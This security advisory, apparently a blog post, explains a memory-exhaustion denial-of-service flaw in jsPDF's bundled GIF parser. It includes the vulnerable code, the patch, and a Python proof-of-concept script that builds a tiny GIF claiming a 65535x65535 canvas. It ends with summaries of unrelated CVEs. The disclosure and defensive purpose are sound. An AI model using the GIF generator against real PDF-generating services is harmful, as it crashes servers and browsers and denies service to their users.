Feb 19, 2026·5 min read·64 visits
jsPDF < 4.2.0 trusts GIF headers blindly. A 50-byte malicious GIF can claim to be 4GB in size. When jsPDF tries to render it, it allocates memory based on those claims. Result: Instant Out-of-Memory (OOM) crash for Node.js backends or browser tabs.
A logic flaw in jsPDF's bundled GIF parser allows attackers to trigger a massive memory allocation by manipulating image headers. By specifying a canvas size of 65535x65535 in a tiny GIF file, an attacker can force the application to attempt a ~4.3GB contiguous memory allocation, crashing the process immediately.
We all love client-side PDF generation. It shifts the compute cost from your expensive cloud servers to the user's browser, and it feels instantaneous. jsPDF is the titan of this arena, powering everything from invoice generators to concert ticket downloads. But here is the thing about parsing binary file formats in JavaScript: it is a high-wire act performed without a safety net.
To support images, jsPDF doesn't just stick a JPEG byte stream into the PDF container; it often needs to decode, analyze, and re-encode image data. For GIFs, it relies on a bundled version of omggif. And like many legacy parsers written in the early days of the Node ecosystem, omggif makes a classic mistake: it trusts the file header.
If I hand you a file that says "I am 10 pixels wide," you believe it. If I hand you a file that says "I am 65,535 pixels wide," a robust library should ask, "Are you sure about that?" jsPDF did not ask. It just opened its mouth and tried to swallow the ocean.
The vulnerability lies in how omggif (embedded within src/libs/omggif.js in jsPDF) handles the Logical Screen Descriptor of a GIF file. The GIF format specification defines offsets 6 and 8 as the Logical Screen Width and Height, respectively. These are unsigned 16-bit integers.
This means the maximum value for width or height is 0xFFFF, or 65,535. Now, 65k pixels doesn't sound like that much in the age of 4K monitors, until you do the math on the memory required to store the pixel buffer.
The library calculates the buffer size needed for a frame by multiplying width by height. It does not check if the resulting number is sane, nor does it check if the compressed image data actually contains enough pixels to fill that buffer. It simply reserves the memory upfront. This is a classic "Allocation of Resources Without Limits" (CWE-770), but in the context of a high-level language like JS, it manifests as a hard crash rather than a buffer overflow.
Let's look at the crime scene in src/libs/omggif.js. The function decodeAndBlitFrameBGRA is responsible for setting up the buffer to decode the GIF frame. Here is the logic prior to version 4.2.0:
this.decodeAndBlitFrameBGRA = function(frame_num, pixels) {
var frame = this.frameInfo(frame_num);
// The vulnerability is right here:
var num_pixels = frame.width * frame.height;
// Allocating the buffer based solely on header math
var index_stream = new Uint8Array(num_pixels);
// ... decoding logic follows ...
};Do you see the issue? frame.width and frame.height are taken directly from the binary parser. If an attacker sets both to 65,535, num_pixels becomes approximately 4,294,836,225.
In V8 (the engine behind Chrome and Node.js), a Uint8Array requires a contiguous block of memory. When the code executes new Uint8Array(4294836225), it is asking the runtime for roughly 4.29 GB of RAM in a single chunk. Even on a machine with 64GB of RAM, V8's heap limit (typically ~2GB to 4GB depending on flags) will likely reject this allocation immediately, throwing a RangeError: Array buffer allocation failed or simply crashing the process with an OOM killer event.
To exploit this, we don't need to generate a valid 4GB GIF. We just need a valid GIF header that lies about its size. The actual image data can be a single empty block. The parser crashes at the allocation step, long before it realizes the image data is missing.
Here is a Python script to generate the "GIF of Death":
# exploit.py
# Generates a GIF with 65535x65535 logical screen size
header = b'GIF89a'
width = b'\xFF\xFF' # 65535
height = b'\xFF\xFF' # 65535
flags = b'\x80' # Global Color Table Flag set
bg_color = b'\x00'
pixel_ratio = b'\x00'
# Minimal color table and trailer to satisfy basic parsing until the crash
payload = header + width + height + flags + bg_color + pixel_ratio
payload += b'\x00\x00\x00' * 2 # Color table
payload += b';' # Trailer
with open('death.gif', 'wb') as f:
f.write(payload)
print(f"Generated death.gif ({len(payload)} bytes)")When a user uploads this file to an endpoint using jsPDF.addImage(fileData), or if a client-side app attempts to render it, the application creates the Uint8Array and dies. In a Node.js server generating PDFs (e.g., for reports), this is a trivial Denial of Service. A single request kills the thread.
The maintainers fixed this in version 4.2.0 (specifically commit 2e5e156e284d92c7d134bce97e6418756941d5e6) by adding a sanity check. They decided that 512 megapixels ought to be enough for anyone.
// The Fix
var num_pixels = frame.width * frame.height;
// Hard limit check
if (num_pixels > 512 * 1024 * 1024) {
throw new Error("Image dimensions exceed 512MB, which is too large.");
}
var index_stream = new Uint8Array(num_pixels);While 512 million pixels is still a massive allocation (approx 512MB), it is generally within the safe bounds of a V8 heap allocation, preventing the immediate crash. This changes the outcome from "Process Termination" to "Caught Exception," allowing the application to handle the error gracefully.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N| Product | Affected Versions | Fixed Version |
|---|---|---|
jsPDF parallax | < 4.2.0 | 4.2.0 |
| Attribute | Detail |
|---|---|
| CWE | CWE-770 (Allocation of Resources Without Limits) |
| CVSS v4.0 | 8.7 (High) |
| Attack Vector | Network (User uploaded image) |
| Impact | Availability (DoS via OOM) |
| Exploit Complexity | Low (Simple file header modification) |
| Privileges Required | None |
Allocation of Resources Without Limits or Throttling
CVE-2026-107720 is a critical signature verification bypass vulnerability in NearForm's fast-jwt Node.js library. Under specific configurations where the token verifier is initialized with a falsy cryptographic key (such as an empty string or null) and a non-empty algorithms allowlist, the library erroneously skips signature validation. This allows unauthenticated remote attackers to submit fabricated, unsigned JSON Web Tokens and bypass the authorization boundary of the application entirely.
Ruby Mechanize prior to version 2.14.1 contains an information disclosure vulnerability. When executing cross-origin HTTP redirects, global headers configured on the Mechanize agent (such as Authorization or Session Cookies) are dynamically re-applied to the subsequent request, bypassing the internal header-stripping logic. An attacker who controls a redirection endpoint can capture sensitive bearer tokens or cookies.
An origin trust boundary failure in the Ruby mechanize library (prior to v2.14.1) allows unauthenticated remote web servers to harvest sensitive global request headers, such as Authorization Bearer tokens and cookies, by utilizing HTML-level meta-refresh redirection tags. Standard HTTP-level redirect boundaries were not applied to document-level redirects, creating a vector for cross-origin credential leakage during automated crawls.
CVE-2026-107718 is a medium-severity Open Redirect vulnerability in the core HTTP server package of the AdonisJS Node.js framework. Prior to versions 8.2.3 and 9.3.0, the framework built route paths by directly interpolating dynamic parameters and wildcard segments without URI encoding. If an application routes attacker-controlled input directly to a dynamic first path segment and uses the generated route URL as a redirect destination, a leading slash can produce a scheme-relative external URL. Modern web browsers process scheme-relative URLs by redirecting the client to the specified external domain, exposing users to credential harvesting, social engineering, and session hijacking. This vulnerability affects all applications running unpatched configurations where input validation is not explicitly implemented before generating paths.
CVE-2026-107725 is a critical security bypass in Hazelcast where missing authorization checks in the MapPermission class permit unprivileged clients to issue queries containing aggregators or projections. This architectural oversight allows attackers to run arbitrary code on the cluster servers under the privileges of the active Hazelcast process.
A stored Cross-Site Scripting (XSS) vulnerability was identified in Indico, an open-source event management system developed at CERN, prior to version 3.3.13. The vulnerability stems from weak URL validation in custom link fields and lack of HTML sanitization during Marshmallow serialization of event notes. This allows authenticated attackers with event modification privileges to inject malicious payloads that execute in the browser of users viewing the event pages or collaborating on notes.